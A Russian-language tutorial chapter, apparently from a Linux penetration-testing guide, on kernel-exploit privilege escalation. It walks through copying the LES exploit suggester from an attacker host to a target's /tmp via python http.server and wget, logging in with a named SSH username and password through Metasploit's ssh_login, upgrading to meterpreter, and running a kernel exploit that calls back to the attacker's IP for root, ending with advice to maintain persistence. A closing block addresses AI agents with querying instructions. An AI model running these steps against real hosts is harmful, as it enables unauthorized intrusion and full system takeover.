# 04 - Kernel exploits

Теперь можно рассмотреть метод повышения привилегий с помощью эксплойтов ядра. Есть несколько вариантов как этого можно добиться, напрмер с использованием фреймворка [metasploit](https://github.com/rapid7/metasploit-framework), или с помощью инструмената [LES: Linux privilege escalation auditing tool](https://github.com/The-Z-Labs/linux-exploit-suggester) , или вы самостоятельно смотрите версию ядра, после чего ищете подходящий эксплоит.\
Однако следует помнить, <mark style="color:red;">ломая ядро - можно положить весь хост</mark>, именно поэтому этот вариант рассматривается последним.

### **Начнем с**  [**LES: Linux privilege escalation auditing tool**](https://github.com/The-Z-Labs/linux-exploit-suggester) **.**&#x20;

Мы можем сразу скачать его на атакуемый хост, дать права на исполнение и запустить. Но я быстро покажу как передавать файлы с хоста атакующего на хост на котором мы будем ломать ядро с помощью python http server, это бывает очень полезно.

```bash
// На хосте атакующего:
// Скачиваем LES и поднимаем в той же папке SimpleHTTPserver на порту 9000

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
sudo python3 -m http.server 9000

// На хосте где ломаем ядро:
// Переходим в папку /tmp скачиваем LES, даем права на запуск и стартуем его

cd /tmp
wget 192.168.140.128:9000/less.sh
chmod +x less 
./less
```

<figure><img src="/files/QwcTAZ5v8ntrwwu9GPyS" alt=""><figcaption><p>Передача файла</p></figcaption></figure>

После запуска скрипта LES, автоматически выведет  полученную информацию о ядре, номера CVE и о подходящих эксплоитах под ядро. Наиболее удачные варианты расположены в самом верху, там же имеется ссылка на эксплоит и базу знаний по нему.\
Осталось лишь скачать эксплоит, прочитать как он работает (возможно его нужно компилировать) и запустить на атакуемом хосте. В нашем случае это не требуется так как рут мы получили через misconfig.

<figure><img src="/files/ccdm64HtYTDCJeP9xmaw" alt=""><figcaption><p>Подборка эксплоитов от LES</p></figcaption></figure>

## <mark style="color:blue;">METASPLOIT</mark>

Тут тоже как и везде есть множество методов каким путем пойти. Но у нас уже есть SSH учетки, давайте использовать их.\
План действий будет такой:\
1\. открывает metasploit\
2\. Ищем нужный модуль для логина по ssh\
3\. Вбиваем в модуль известные нам учетки и ip\
4\. Поднимаем ssh сесссию до meterpreter (это расширенная полезная нагрузка/payload)\
5\. Ищем подоходящий эксплоит ядра\
6\. И пробуем пробить ядро и получить root

```bash
// запускаем метасплоит
msfconsole

// ищем модуль для логина по ssh
search ssh_login

// запускаем моуль
use auxiliary/scanner/ssh/ssh_login

// вбиваем в модуль известные нам данные
set rhost 192.168.140.129

// имя
set username steven

// пароль
set password pink84

// пробуем пробиться по ssh
exploit

// поднимаем сессию до meterpreter
use post/multi/manage/shell_to_meterpreter

// указываем к какой сессии привязать модуль (show sessions)
set session 1

//запускаем
exploit

// смотрим список сессий и ищем там meterpreter
sessions

// и заходим в сессию с meterpreter
sessions 2
```

<figure><img src="/files/ZYOoQnwYTjPhAu1QtlzN" alt=""><figcaption><p>meterpreter получен</p></figcaption></figure>

```bash
// запускаем поиск подходящего под ядро эксплоита
use post/multi/recon/local_exploit_suggester

// смотрим номера сессий
show sessions

// привязывает поиск сплоита к сессии метерпретера
set session 2 (у вас будет отличаться)

// запускам и ДЖЕМ. Долго. В конце скрипт предложит лучшие варианты в самом верху 
//(если они есть)

run

    
```

<figure><img src="/files/iboqJFsJS6yguQX9143M" alt=""><figcaption><p>Выбираем эксплоит</p></figcaption></figure>

Нам осталось выбрать эксплоит, настроить его, привязать к сессии и запустить

```bash
// выбираем сплоит
use имя_эксплоита_из_списка

// внимательно смотрим какие поля нужно заполнить (в моем случае это LHOST (ip атакующего)
// и номер сесии с meterpreter)

show options
set lhost 192.168.140.128 
set session 4
exploit
```

<figure><img src="/files/Qtafrrj5q2p2uWhj6oYM" alt=""><figcaption><p>Все получилось</p></figcaption></figure>

Как видно из скриншота, ядро пробито, установленна сессия meterpreter, root наш.\
Нам осталось как следует закрепиться на пробитом хосте, что бы  не потерять над ним контроль.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/privilege-escalation/04-kernel-exploits.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
